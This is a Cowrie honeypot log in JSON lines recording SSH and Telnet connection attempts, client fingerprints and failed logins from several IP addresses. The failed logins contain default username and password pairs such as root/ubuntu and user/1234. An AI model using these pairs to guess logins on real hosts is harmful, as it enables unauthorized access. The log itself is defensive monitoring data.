{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:15.581235Z","src_ip":"91.92.40.153","session":"a45bf21cff2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:16.939454Z","src_ip":"139.99.74.35","session":"f771fd47e80c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44788,"dst_ip":"159.203.135.109","dst_port":22,"session":"6262c688532e","protocol":"ssh","message":"New connection: 139.99.74.35:44788 (159.203.135.109:22) [session: 6262c688532e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:17.162434Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:19.174669Z","src_ip":"91.92.40.153","session":"a45bf21cff2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bede35b0801","protocol":"ssh","message":"New connection: 91.92.40.153:44020 (10.17.0.5:22) [session: 5bede35b0801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:20.170291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:21.457426Z","src_ip":"91.92.40.153","session":"5bede35b0801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:21.460408Z","src_ip":"91.92.40.153","session":"5bede35b0801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:21.577161Z","src_ip":"91.92.40.153","session":"a45bf21cff2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58070,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c745417903","protocol":"telnet","message":"New connection: 170.64.224.25:58070 (159.203.135.109:23) [session: 56c745417903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:23.430204Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:23.774258Z","src_ip":"139.99.74.35","session":"6262c688532e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44830,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a59a5375e1","protocol":"ssh","message":"New connection: 139.99.74.35:44830 (159.203.135.109:22) [session: f4a59a5375e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:23.999401Z"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:25.297931Z","src_ip":"91.92.40.153","session":"5bede35b0801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50370,"dst_ip":"10.17.0.5","dst_port":22,"session":"3185cecf7483","protocol":"ssh","message":"New connection: 91.92.40.153:50370 (10.17.0.5:22) [session: 3185cecf7483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:26.019457Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":32816,"dst_ip":"159.203.135.109","dst_port":22,"session":"48151b129a24","protocol":"ssh","message":"New connection: 160.187.174.22:32816 (159.203.135.109:22) [session: 48151b129a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:26.369464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:26.372655Z","src_ip":"160.187.174.22","session":"48151b129a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:26.608374Z","src_ip":"160.187.174.22","session":"48151b129a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:27.303006Z","src_ip":"160.187.174.22","session":"48151b129a24","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:27.341459Z","src_ip":"91.92.40.153","session":"3185cecf7483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:27.344367Z","src_ip":"91.92.40.153","session":"3185cecf7483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:27.768365Z","src_ip":"91.92.40.153","session":"5bede35b0801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:28.981279Z","src_ip":"160.187.174.22","session":"48151b129a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:30.037833Z","src_ip":"139.99.74.35","session":"f4a59a5375e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c23bc7a03d","protocol":"ssh","message":"New connection: 139.99.74.35:52100 (159.203.135.109:22) [session: f3c23bc7a03d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:30.298729Z"}
{"eventid":"cowrie.login.failed","username":"osmc","password":"osmc","message":"login attempt [osmc/osmc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:31.479983Z","src_ip":"91.92.40.153","session":"3185cecf7483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":50432,"dst_ip":"10.17.0.5","dst_port":22,"session":"57c47d577569","protocol":"ssh","message":"New connection: 91.92.40.153:50432 (10.17.0.5:22) [session: 57c47d577569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:31.774936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:32.631453Z","src_ip":"91.92.40.153","session":"57c47d577569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:32.634273Z","src_ip":"91.92.40.153","session":"57c47d577569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:34.001148Z","src_ip":"91.92.40.153","session":"3185cecf7483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:35.065660Z","src_ip":"139.99.74.35","session":"f3c23bc7a03d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44612,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e16506dc0a","protocol":"ssh","message":"New connection: 139.99.74.35:44612 (159.203.135.109:22) [session: d3e16506dc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:35.280868Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41508,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b537cb8c45f","protocol":"ssh","message":"New connection: 91.92.40.153:41508 (10.17.0.5:22) [session: 1b537cb8c45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:37.499029Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:37.529374Z","src_ip":"91.92.40.153","session":"57c47d577569","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:38.479782Z","src_ip":"91.92.40.153","session":"1b537cb8c45f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:38.496705Z","src_ip":"91.92.40.153","session":"1b537cb8c45f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:39.550875Z","src_ip":"91.92.40.153","session":"57c47d577569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:40.056733Z","src_ip":"139.99.74.35","session":"d3e16506dc0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44616,"dst_ip":"159.203.135.109","dst_port":22,"session":"55cb7bb1c6a5","protocol":"ssh","message":"New connection: 139.99.74.35:44616 (159.203.135.109:22) [session: 55cb7bb1c6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:40.284583Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38720,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b882e0eaf4","protocol":"ssh","message":"New connection: 91.92.40.153:38720 (10.17.0.5:22) [session: c8b882e0eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:43.309708Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:43.509225Z","src_ip":"91.92.40.153","session":"1b537cb8c45f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:44.313158Z","src_ip":"91.92.40.153","session":"c8b882e0eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:44.316923Z","src_ip":"91.92.40.153","session":"c8b882e0eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:45.060884Z","src_ip":"139.99.74.35","session":"55cb7bb1c6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40964,"dst_ip":"159.203.135.109","dst_port":22,"session":"d28ce36169e8","protocol":"ssh","message":"New connection: 139.99.74.35:40964 (159.203.135.109:22) [session: d28ce36169e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:45.295534Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:45.494368Z","src_ip":"91.92.40.153","session":"1b537cb8c45f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"dev","message":"login attempt [git/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:49.089497Z","src_ip":"91.92.40.153","session":"c8b882e0eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":38760,"dst_ip":"10.17.0.5","dst_port":22,"session":"c196fdcd5f33","protocol":"ssh","message":"New connection: 91.92.40.153:38760 (10.17.0.5:22) [session: c196fdcd5f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:49.374816Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:50.066882Z","src_ip":"139.99.74.35","session":"d28ce36169e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40996,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb766db49e43","protocol":"ssh","message":"New connection: 139.99.74.35:40996 (159.203.135.109:22) [session: bb766db49e43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:50.308190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:14:50.425593Z","src_ip":"91.92.40.153","session":"c196fdcd5f33","protocol":"ssh"}
